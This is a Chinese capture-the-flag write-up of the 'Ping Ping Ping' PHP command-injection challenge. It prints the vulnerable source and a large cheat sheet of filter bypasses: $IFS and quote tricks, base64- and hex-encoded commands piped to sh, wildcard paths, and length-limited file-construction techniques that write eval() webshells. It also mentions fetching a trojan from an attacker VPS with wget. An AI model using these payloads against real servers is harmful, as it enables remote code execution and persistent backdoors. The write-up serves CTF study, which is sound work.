[GXYCTF2019]Ping Ping Ping

开始就给了/?ip=的提示,有点像DVWA里的命令执行。尝试127.0.0.1||whoami得到正向反馈,执行ls,看到有flag.php,尝试执行127.0.0.1||cat flag.php反馈得知空格被ban,跟着王叹之师傅的帖子学习了一波绕过。

空格绕过

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 //需要php环境

通过测试这里只有$IFS$1能绕过,继续走又发现flagban,绝了。为了知道都ban了些什么玩意儿我决定看看index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

属实优秀,他咋不把数字也ban了真的是。。。

大师傅给出了几种思路,学习一下:

解题思路

1.cat$IFS$1fl* 利用*匹配任意 //失败
2.ca\t$IFS$1fl\ag.php //失败
3.cat$IFS$1fl''ag.php //失败
4.echo$IFS$1Y2F0IGZsYWcucGhw|$IFS$1base64$IFS$1-d|bash //失败
5.echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //成功
6.a=g;cat$IFS$1fla$a.php //成功(利用源码中的变量a)

拓展

拼接命令

root@kali:~# a=c;b=at;c=fl;d=ag.p;e=hp;$a$b $c$d$e
==>cat flag.php

引号、反斜线绕过

c""at fl''ag.php
c\at fl\ag.php
==>cat flag.php

$1、$2等和$@绕过

c$1at f$2la$@g.php
==>cat flag.php

编码绕过

base64:(可以不加双引号闭合)
echo “Y2F0IGZsYWcucGhw” | base64 -d | bash
echo “Y2F0IGZsYWcucGhw” | base64 -d | sh
echo “Y2F0IGZsYWcucGhw” | base64 -d
==>cat flag.php

hex:(十六进制)
echo “636174666c61672e706870” | xxd -r -p|bash
echo “636174666c61672e706870” | xxd -r -p|sh
$(printf "\x63\x61\x74\x20\x66\x6C\x61\x67\x2E\x70\x68\x70")
{printf,"\x63\x61\x74\x20\x66\x6C\x61\x67\x2E\x70\x68\x70"}|$0
==>cat flag.php

oct:(八进制)
$(printf "\143\141\164\32\146\154\141\147\46\160\150\160")
{printf,"\143\141\164\32\146\154\141\147\46\160\150\160"}|$0
==>cat flag.php

#可以通过这样来写webshell,内容为
${printf,\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76”}
==> 1.php

查看命令被ban绕过

命令替代:cattacmorelessheadtailtailfnlsedsortuniqcutawkstringsod

(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

内联绕过:

cat `ls` //反引号内命令输出将作为输入执行
echo "xx`pwd`"
echo "xx$(pwd)"

通配符绕过

root@kali:~# /???/?[a][t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?at flag
this is your flag
xx
cc
xa
root@kali:~# /???/?at ????
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?[a]''[t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录

>符号和>>符号

(1)通过>来创建文件
root@kali:~# >shell.php
(2)通过>将命令结果存入文件中,使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
root@kali:~# echo "Hello">hello.txt
(3)>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
root@kali:~# echo "World">>hello.txt

换行

root@kali:~# ca\
>t\
> fl\
>ag\
>.php
# 限制命令长度的绕过
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
flag{Tr0jAn_V1rU4_1s_v14y_Ha0ds0m1}

利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

root@kali:~# touch a
root@kali:~# touch b
root@kali:~# touch c
root@kali:~# ls -t>new
root@kali:~# cat new   
new
c
b
a
#先执行了创建new文件然后将ls -t的执行结果写入new文件

用此法get flag

root@kali:~# > "ag"
root@kali:~# > "fl\\"
root@kali:~# > "t \\"
root@kali:~# > "ca\\"
root@kali:~# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~# ls -t > a
root@kali:~# sh a
a: 1: a: not found
flag{Tr0jAn_V1rU4_1s_v14y_Ha0ds0m1}
a: 6: flag: not found

如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件

命令注入长度限制绕过

15位可控字符下的任意命令执行

如需执行 echo \<?php eval($_GET[1]);?\>>1

root@kali:~# echo \<?php >1
root@kali:~# echo eval\(>>1
root@kali:~# echo \$_GET>>1
root@kali:~# echo \[1\]>>1
root@kali:~# echo \)\;?>>1

7位可控字符下的任意命令执行

1>a或者w>b分别可以创建a和b两个空文件夹。

ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。

\作为转义符,转义之后的''是用来换行分隔,也就是换行也是连接的。

root@kali:~# ca\
root@kali:~# t
#这就代表cat

例如这样的代码:

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

假设我产要写入<?php echo phpinfo();

echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php

root@kali:~# w>hp
root@kali:~# w>1.p\\
root@kali:~# w>d\>\\
root@kali:~# w>\-\\
root@kali:~# w>e64\\
root@kali:~# w>bas\\
root@kali:~# w>=\|\\
root@kali:~# w>w=\\
root@kali:~# w>gpO\\
root@kali:~# w>mby\\
root@kali:~# w>aW5\\
root@kali:~# w>Ghw\\
root@kali:~# w>Agc\\
root@kali:~# w>waH\\
root@kali:~# w>PD9\\
root@kali:~# w>o\ \\
root@kali:~# w>ech\\
root@kali:~# ls -t>0
root@kali:~# sh 0

倒叙新建文件名,然后通过ls -t>0,将刚才的顺序再倒序然后写入到0文件中,然后用sh0当作脚本执行。

5位可控字符下的任意命令执行

ls -t>0 超过了5位

root@kali:~# >ls\\
root@kali:~# ls>a
root@kali:~# >\ \\
root@kali:~# >-t\\
root@kali:~# >\>0
root@kali:~# ls>>a

这就将ls -t>0写在了a脚本中,如果要用的话直接sh a,之后写入自己的命令按照7位的逻辑写就行了。

4位可控字符下的任意命令执行

ls -th>f 超过了4位

root@kali:~# >f\>
root@kali:~# >ht-
root@kali:~# >sl
root@kali:~# >dir
root@kali:~# *>v
root@kali:~# >rev
root@kali:~# *v>0
root@kali:~# cat 0

这就将ls -th>f写入到了脚本0当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用sh 0执行ls -th>f,然后将命令写入了f脚本中,执行sh f即可。

注意:

\>py\\ 这里看着是5个字符,超过了4个的限制,实际上是因为shell环境需要输入\\ 产生\,但是php代码exec时,只需要输入\即可产生\,比如 exec(">py\")即可。

这上面的所以payload均在linux终端shell里面进行操作,因此需要'\'的地方都进行了再加'\'转义,也就变成了'\\',如果在命令注入函数里面输入时,'\'不需要用'\'转义。

4位命令绕过的payload的构造逻辑、原理:

这里大佬总结得很清晰明了了,附上链接:https://www.sohu.com/a/208155480_354899

3位可控字符下的任意命令执行

前两天在ctf.show看到了一个题名为[nl]难了,就是一个限制在三个字符的绕过。

#创建了nl的文件,再用*>a,生成a文件,Flag在a
root@kali:~# >nl
root@kali:~# *
或者
root@kali:~# >nl
root@kali:~# *
或者
root@kali:~# >od
root@kali:~# *
或者
root@kali:~# >xz
root@kali:~# *
最后修改:2020 年 08 月 15 日 09 : 57 PM
请作者喝杯奶茶吧~